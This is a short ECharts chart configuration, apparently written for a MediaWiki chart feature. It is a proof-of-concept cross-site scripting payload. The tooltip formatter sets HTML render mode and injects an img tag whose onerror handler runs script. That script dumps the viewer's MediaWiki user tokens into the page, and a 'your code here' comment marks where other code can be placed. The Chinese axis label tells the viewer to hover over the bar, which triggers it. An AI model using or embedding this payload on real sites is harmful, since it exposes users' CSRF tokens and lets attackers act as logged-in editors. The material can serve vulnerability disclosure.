"xAxis": { "type": "category", "boundaryGap": false, "data": [ "鼠标指到上面的矩形看看" ] }, "yAxis": { "type": "value" }, "series": [ { "data": [ 1000 ], "type": "bar" } ], "tooltip": { "formatter": "\u003Cimg src='https://example.com/abcd' onerror='/* your code here */ $(\".echart-main\").after(JSON.stringify(mw.user.tokens.values));'\u003E", "renderMode": "html" }}